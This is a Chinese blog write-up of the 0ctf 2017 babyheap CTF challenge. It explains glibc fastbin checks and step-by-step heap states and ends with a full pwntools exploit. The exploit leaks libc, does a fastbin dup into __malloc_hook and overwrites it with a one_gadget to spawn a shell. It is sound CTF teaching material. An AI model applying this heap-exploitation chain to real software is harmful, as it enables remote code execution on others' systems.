0ctf_2017_babyheap-fastbin_dup_into_stack

参考:
[1]https://uaf.io/exploitation/2017/03/19/0ctf-Quals-2017-BabyHeap2017.html
[2]https://blog.csdn.net/qq_43935969/article/details/115877748
[3]https://bbs.kanxue.com/thread-223461.htm
题目下载参考[1]

说明下如何调试堆,在payload中下断点:

gdb.attach()
....
pause()

通过gdb.attach()+pause()构成一个断点。

本人尝试的其它方式都无法在payload中下断成功。如有知道的师傅欢迎在评论区分享。

补充知识点

补充点1:malloc 的错误检查

特别是针对 fastbin 的内存块的错误检查。检查代码如下:

if (__builtin_expect(fastbin_index(chunksize(victim)) != idx, 0))
{
    errstr = "malloc(): memory corruption (fast)";
errout:
    malloc_printerr(check_action, errstr, chunk2mem(victim), av);
    return NULL;
}

fastbin_index(chunksize(victim)) 表示计算给定内存块 victim 的大小,并根据大小计算其应该位于哪个 fastbin 中。这里使用 fastbin_index 函数来计算 fastbin 索引。(我们即可根据fastbin_freelist的顺序得出fastbin_index,然后伪造

idx 是预期的 fastbin 索引,用于检查内存块是否位于正确的 fastbin 中。

__builtin_expect 是一个编译器内置的函数,用于提示分支预测器。这里使用了非零的期望值,表示不希望 fastbin_index(chunksize(victim)) != idx 这个条件成立。这样可以提高分支预测的准确性和性能。

如果 fastbin_index(chunksize(victim)) != idx 成立(即内存块不在正确的 fastbin 中),则执行以下操作:

将错误信息字符串 “malloc(): memory corruption (fast)” 赋值给 errstr。
跳转到 errout 标签处。
调用 malloc_printerr 函数来打印错误消息,该函数用于处理 malloc 错误和打印相应的错误信息。
返回 NULL,表示分配失败。
总结起来,这段代码是在检查 fastbin 内存块分配过程中是否存在内存损坏的情况。如果发现内存块不在正确的 fastbin 中,将打印错误消息并返回 NULL,表示分配失败。这是一种用于确保内存分配过程的数据一致性和错误检测的机制。

补充点2:[3]查看其 chunksize 与相应的 fastbin_index 是否匹配,实际上 chunksize 的计算方法是 victim->size & ~(SIZE_BITS)),而它对应的 index 计算方法为 (size) >> (SIZE_SZ == 8 ? 4 : 3) - 2,这里 64位的平台对应的 SIZE_SZ 是8,则 fastbin_index 为 (size >> 4) - 2,那么我们将 small chunk 的 size 域改写成 0x21 即可。
在 glibc 中,SIZE_BITS 的定义取决于平台的位数。对于 64 位平台,SIZE_BITS 的值是 6。这个值表示了 chunk 的大小位数。

chunksize 的计算方法为 victim->size & ~(SIZE_BITS),其中 victim->size 是 chunk 中的 size 字段。SIZE_BITS 是为了去除 chunk 的标志位(prev_in_use 和 non_main_arena)所占用的位数,以获取实际的 chunk 大小。

fastbin_index 的计算方法为 (size) >> (SIZE_SZ == 8 ? 4 : 3) - 2。这里的 size 是指 chunksize 函数返回的 chunk 大小,SIZE_SZ 是指 glibc 中 size_t 的大小,64 位平台下 SIZE_SZ 是 8。因此,fastbin_index 的计算公式为 (size >> 4) - 2。

通过将 small chunk 的 size 域改写成 0x21,可以使得 fastbin_index 的结果为 0,将该 chunk 放入对应的 fastbin 链表中。

需要注意的是,以上是对 glibc 的默认实现进行的解释,具体的实现细节可能因不同版本、编译选项或修改而有所差异。

补充点3:当只有一个 small/large chunk 被释放时,small/large chunk 的 fd 和 bk 指向 main_arena 中的地址

补充点4:何为consolidate
参考:https://blog.51cto.com/u_15346415/3691307

  • 大于0x80的chunk被释放之后就放到了unsortedbin上面去,但是unsortedbin是一个未分类的bin,上面的chunk也处于未分类的状态。但是这些chunk需要在特定的条件下被整理然后放入到smallbins或者largebins中

  • 这个整理的过程被称为unsortedbin的“consolidate”,但是“consolidate”是要在特定的条件下才会发生的,并且与malloc紧密相关。

fastbin_dup_into_stack手法的目的

泄露地址
实现任意地址写

0ctf_2017_babyheap

此题利用fastbin_dup_into_stack方法,因此需要考虑:
如何泄露地址?
补充点3实现
如何实现任意地址写?
fastbin_dup实现

需要绕过的点:
防止malloc检测fastbin_index;
防止malloc时候consolidate;

调试

开启的保护:
在这里插入图片描述

断点1:
在这里插入图片描述&mian_arena中放置着指向fastbin[index]的起始值

free(1)和free(2)目的:为了chunk2的fd能填充,因为fastbin中只有一个的话fd无指向,而我们需要构造的就是fd。通过chunk0来溢出写入free的chunk1和chunk2,操作中只修改的chunk的fd最后一个字节。

断点2:
此步目的:通过溢出绕过malloc_check_fastbin[index]检查,及伪造chunk2的fd的最后一字节。
也可得出为什么首先需要分配五个chunk0~chunk5,少一个都不行。

在这里插入图片描述绿色:绕过malloc_check_fastbin[index]
前面已经把chunk4控制到了free_fastbin中了,我们需要malloc获取它,但是需要绕过检查,所以溢出实现smallbin伪装成fastbin。

根据bins显示出fastbin[0x20~0x80],我们的chunk都处于fastbin[1],所以把index=1带入公式

fastbin_index = (size >> 4) - 2

得出size = 0x31

断点3:
目的:为泄露做准备,把fastbin改回smallbin,smallbin在free后才能链接填充(fd和bk)泄露libc地址。
在这里插入图片描述恢复smallbin,使它下一步free后进入smallbin,泄露libc地址。

在堆漏洞利用中,通常会通过泄露 libc 地址来获取 libc 的基址,然后计算其他函数或符号的地址。一种常见的方法是使用 __malloc_hook 符号来计算 libc 的基址;
__malloc_hook 是 libc 中的一个全局变量,用于控制堆分配函数 malloc() 的行为。通过泄露 __malloc_hook 的地址,我们可以计算 libc 的基址。通常,可以使用 one_gadget 或者 libc-database 等工具来查找适合当前 libc 版本的 RCE(Remote Code Execution) gadget;
__malloc_hook 与&main_arena偏移固定;

断点4:
目的:防止malloc时候consolidate;
在这里插入图片描述这里alloc(0x80)至关重要,防止空闲块相邻也空闲导致和并consolidate;
还有一个细节free(chunk4)未显示进入smallbin,而是进入到unsortbin,之后才会进入到smallbin,至于为什么请参考补充点4

这块光理论还是比较绕的,实际中根据调式结果为准即可,下面对比未继续alloc(0x80)[大小不是非得0x80]发生了consolidate的结果:
在这里插入图片描述未获得smallbin,当然也没获得fd和bk,即无法获取libc地址。

断点5:
目的:这里alloc(0x68)中0x68大小是有讲究的,为了配合malloc_hook的地址绕过绕过malloc_check_fastbin[index]。
在这里插入图片描述
把chunk4一份为2,已分配的chunk+ free的chunk,
chunk4 = chunk_0x71 + free[chunk_0x21]
为下一步实现fastbin_dup做准备。

断点6:
目的:为下一步实现fastbin_dup_into_stack做准备,把合适大小的chunk放入合适大小的free_bin中。
在这里插入图片描述free(0x90) = free[chunk_0x71] + double free[chunk_0x21]
实现fastbin_dup:但这里后续并没用到
重点!!!最终构造目的:
这里我们要的就是free[chunk_0x71],上面所有的操作就是为了它,它就是合适大小的chunk

断点7:
目的:写入需要执行的函数地址即可,比如system。
在这里插入图片描述这里为什么是fill(2):中间之前分配的chunk都被free了。
此步实现了控制任意地址读写:fastbin_dup_into_stack

断点8:
最后再Malloc(0x60)两次即可获得构造地址,
由于我这里开了ASLR,如果关了的话直接x/30gx addr查看上次分配的地址,查看内容即可。

完整payload:

from pwn import *

context.log_level="debug"

def alloc(size):
    r.sendline('1')
    r.sendlineafter(': ', str(size))
    r.recvuntil(': ', timeout=1)

def fill(idx, data):
    r.sendline('2')
    r.sendlineafter(': ', str(idx))
    r.sendlineafter(': ', str(len(data)))
    r.sendafter(': ', data)
    r.recvuntil(': ')
    
def free(idx):
    r.sendline('3')
    r.sendlineafter(': ', str(idx))
    r.recvuntil(': ')

def dump(idx):
    r.sendline('4')
    r.sendlineafter(': ', str(idx))
    r.recvuntil(': \n')
    data = r.recvline()
    r.recvuntil(': ')
    return data

def exploit(r):
    r.recvuntil(': ')
	
    alloc(0x20)	#chunk0	0xaddr_00
    alloc(0x20)	#chunk1	0xaddr_30
    alloc(0x20)	#chunk2	0xaddr_60
    alloc(0x20)	#chunk3	0xaddr_90
    alloc(0x80)	#chunk4	0xaddr_c0

    free(1)	#chunk1 -> fastbin_chunk1
    free(2)	#chunk2	-> fastbin_chunk2
    #gdb.attach(r)	#break1
    #pause()

    payload  = p64(0)*5
    payload += p64(0x31)
    payload += p64(0)*5
    payload += p64(0x31)
    payload += p8(0xc0)	#chunk2_fd
    fill(0, payload)	# fastbin_chunk1 -> fastbin_chunk4

    payload  = p64(0)*5
    payload += p64(0x31)#bypass malloc check	| chunk4_smallbin -> chunk4_fastbin
    fill(3, payload)
    #gdb.attach(r)	#break2
    #pause()
    alloc(0x20)	#fastbin_chunk2 -> chunk2
    alloc(0x20)	#fastbin_chunk4 -> chunk4
    
    payload  = p64(0)*5
    payload += p64(0x91)	#leak_libc	|  chunk4_fastbin -> chunk4_smallbin
    fill(3, payload)
    #gdb.attach(r)	#break3
    #pause()
    alloc(0x80)		#avoid free_chunk consolidate
    free(4)		#unsortbin_chunk4 & first free(chunk4)
    
    libc_base = u64(dump(2)[:8]) - 0x3a5678
    log.info("libc_base: " + hex(libc_base))
    #gdb.attach(r)	#break4
    #pause()
    alloc(0x68)		#chunk4 = chunk_0x71 + chunk_0x21 | free_chunk4[chunk_0x21]
    #gdb.attach(r)	#break5
    #pause()
    free(4)		#free_chunk4[chunk4_0x71] & double free_chunk4[chunk_0x21] & fastbin_dup
    #gdb.attach(r)	#break6
    #pause()	
    fill(2, p64(libc_base + 0x3a55ed))	#fastbin_dup_into_stack 
    #gdb.attach(r)	#break7
    #pause()
    alloc(0x60)
    alloc(0x60)
    payload  = '\x00'*3
    payload += p64(0)*2
    payload += p64(libc_base + 0x41374)
    fill(6, payload)
    #gdb.attach(r)	#break8
    #pause()
    alloc(255)

    r.interactive()

if __name__ == "__main__":
    log.info("For remote: %s HOST PORT" % sys.argv[0])
    if len(sys.argv) > 1:
        r = remote(sys.argv[1], int(sys.argv[2]))
        exploit(r)
    else:
        r = process(['./0ctfbabyheap'], env={"LD_PRELOAD":"./libc.so.6"})
        exploit(r)

总结一些关键点:

合适大小的chunk:free[chunk_0x71];
0x70大小是根据:为获得malloc_hook写入地址,malloc的时候绕过malloc_check_fastbin[index];
chun4_smallbin -> chun4_fastbin是为了控制fd;
chunk4_smallbin ->chunk4_fastbin 绕过malloc检查;
chun4_fastbin ->chun4_smallbin 改回来是为了泄露libc;

全是逻辑毫无感情。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值